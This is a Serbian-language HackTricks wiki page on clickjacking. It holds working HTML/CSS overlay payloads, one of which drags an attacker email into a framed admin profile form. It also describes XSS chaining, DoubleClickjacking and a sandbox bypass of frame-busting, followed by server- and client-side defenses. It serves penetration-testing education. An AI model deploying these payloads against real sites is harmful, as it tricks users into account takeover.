Clickjacking
Reading time: 7 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Šta je Clickjacking
U clickjacking napadu, korisnik je prevaren da klikne na element na veb stranici koji je ili nevidljiv ili prikazan kao drugi element. Ova manipulacija može dovesti do nepredviđenih posledica za korisnika, kao što su preuzimanje malvera, preusmeravanje na zlonamerne veb stranice, davanje kredencijala ili osetljivih informacija, transfer novca ili online kupovina proizvoda.
Prepopunjavanje obrazaca trik
Ponekad je moguće popuniti vrednost polja obrasca koristeći GET parametre prilikom učitavanja stranice. Napadač može zloupotrebiti ovo ponašanje da popuni obrazac proizvoljnim podacima i pošalje clickjacking payload kako bi korisnik pritisnuo dugme Pošalji.
Popuni obrazac sa Drag&Drop
Ako treba da korisnik popuni obrazac ali ne želiš da ga direktno pitaš da unese neke specifične informacije (kao što su email ili specifična lozinka koju znaš), možeš ga jednostavno zamoliti da Drag&Drop nešto što će uneti tvoje kontrolisane podatke kao u ovom primeru.
Osnovni Payload
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Multistep Payload
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Drag&Drop + Click payload
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
Ako ste identifikovali XSS napad koji zahteva da korisnik klikne na neki element da bi pokrenuo XSS i stranica je ranjiva na clickjacking, mogli biste to iskoristiti da prevarite korisnika da klikne na dugme/link.
Primer:
Pronašli ste self XSS u nekim privatnim podacima naloga (podaci koje samo vi možete postaviti i čitati). Stranica sa formom za postavljanje ovih podataka je ranjiva na Clickjacking i možete prepopuniti formu sa GET parametrima.
Napadač bi mogao pripremiti Clickjacking napad na tu stranicu prepopunjavajući formu sa XSS payload-om i prevariti korisnika da pošalje formu. Tako, kada se forma pošalje i vrednosti su izmenjene, korisnik će izvršiti XSS.
DoubleClickjacking
Prvo objašnjeno u ovom postu, ova tehnika bi tražila od žrtve da dvaput klikne na dugme na prilagođenoj stranici postavljenoj na specifičnoj lokaciji, i koristi razlike u vremenu između mousedown i onclick događaja da učita stranicu žrtve tokom dvostrukog klika tako da žrtva zapravo klikne na legitimno dugme na stranici žrtve.
Primer se može videti u ovom videu: https://www.youtube.com/watch?v=4rGvRRMrD18
Primer koda može se naći na ovoj stranici.
warning
Ova tehnika omogućava prevaru korisnika da klikne na 1 mesto na stranici žrtve zaobilazeći svaku zaštitu protiv clickjacking-a. Tako da napadač treba da pronađe osetljive akcije koje se mogu izvršiti sa samo 1 klikom, kao što su OAuth prompte za prihvatanje dozvola.
Strategije za ublažavanje Clickjacking-a
Klijentske odbrane
Skripte koje se izvršavaju na klijentskoj strani mogu izvesti radnje da spreče Clickjacking:
- Osiguranje da je prozor aplikacije glavni ili gornji prozor.
- Činjenje svih okvira vidljivim.
- Sprečavanje klikova na nevidljive okvire.
- Otkrivanje i upozoravanje korisnika na potencijalne pokušaje Clickjacking-a.
Međutim, ovi skripti za razbijanje okvira mogu biti zaobiđeni:
- Bezbednosne postavke pregledača: Neki pregledači mogu blokirati ove skripte na osnovu svojih bezbednosnih postavki ili nedostatka podrške za JavaScript.
- HTML5 iframe
sandbox
atribut: Napadač može neutralisati skripte za razbijanje okvira postavljanjemsandbox
atributa saallow-forms
iliallow-scripts
vrednostima bezallow-top-navigation
. Ovo sprečava iframe da verifikuje da li je on gornji prozor, npr.,
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>
allow-forms
i allow-scripts
vrednosti omogućavaju akcije unutar iframe-a dok onemogućavaju navigaciju na vrhunskom nivou. Da bi se osigurala nameravana funkcionalnost ciljanog sajta, dodatne dozvole kao što su allow-same-origin
i allow-modals
mogu biti neophodne, u zavisnosti od tipa napada. Poruke u konzoli pretraživača mogu pomoći u određivanju koje dozvole treba dozvoliti.
Server-Side Defenses
X-Frame-Options
X-Frame-Options
HTTP odgovor header obaveštava pretraživače o legitimnosti renderovanja stranice u <frame>
ili <iframe>
, pomažući u sprečavanju Clickjacking-a:
X-Frame-Options: deny
- Nijedna domena ne može uokviriti sadržaj.X-Frame-Options: sameorigin
- Samo trenutni sajt može uokviriti sadržaj.X-Frame-Options: allow-from https://trusted.com
- Samo određeni 'uri' može uokviriti stranicu.- Imajte na umu ograničenja: ako pretraživač ne podržava ovu direktivu, možda neće raditi. Neki pretraživači preferiraju CSP frame-ancestors direktivu.
Content Security Policy (CSP) frame-ancestors direktiva
frame-ancestors
direktiva u CSP je preporučena metoda za zaštitu od Clickjacking-a:
frame-ancestors 'none'
- SličnoX-Frame-Options: deny
.frame-ancestors 'self'
- SličnoX-Frame-Options: sameorigin
.frame-ancestors trusted.com
- SličnoX-Frame-Options: allow-from
.
Na primer, sledeći CSP dozvoljava samo uokvirivanje sa iste domene:
Content-Security-Policy: frame-ancestors 'self';
Dalje informacije i složeni primeri mogu se naći u frame-ancestors CSP dokumentaciji i Mozilla's CSP frame-ancestors dokumentaciji.
Content Security Policy (CSP) sa child-src
i frame-src
Content Security Policy (CSP) je mera bezbednosti koja pomaže u sprečavanju Clickjacking-a i drugih napada sa injekcijom koda tako što specificira koje izvore pretraživač treba da dozvoli za učitavanje sadržaja.
frame-src
Direktiva
- Definiše validne izvore za frame-ove.
- Specifičnija je od
default-src
direktive.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
Ova politika omogućava okvire sa iste lokacije (self) i https://trusted-website.com.
child-src
Direktiva
- Uvedena u CSP nivou 2 za postavljanje validnih izvora za web radnike i okvire.
- Deluje kao rezervna opcija za frame-src i worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
Ova politika omogućava okvire i radnike sa iste lokacije (self) i https://trusted-website.com.
Napomene o korišćenju:
- Deprecacija: child-src se ukida u korist frame-src i worker-src.
- Ponašanje u slučaju greške: Ako frame-src nije prisutan, child-src se koristi kao rezervna opcija za okvire. Ako su oba odsutna, koristi se default-src.
- Stroga definicija izvora: Uključite samo pouzdane izvore u direktive kako biste sprečili eksploataciju.
JavaScript skripte za razbijanje okvira
Iako nisu potpuno nepogrešive, skripte zasnovane na JavaScript-u za razbijanje okvira mogu se koristiti za sprečavanje da web stranica bude u okviru. Primer:
if (top !== self) {
top.location = self.location
}
Korišćenje Anti-CSRF Tokena
- Validacija Tokena: Koristite anti-CSRF tokene u web aplikacijama kako biste osigurali da su zahtevi koji menjaju stanje namerno poslati od strane korisnika, a ne kroz Clickjacked stranicu.
Reference
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.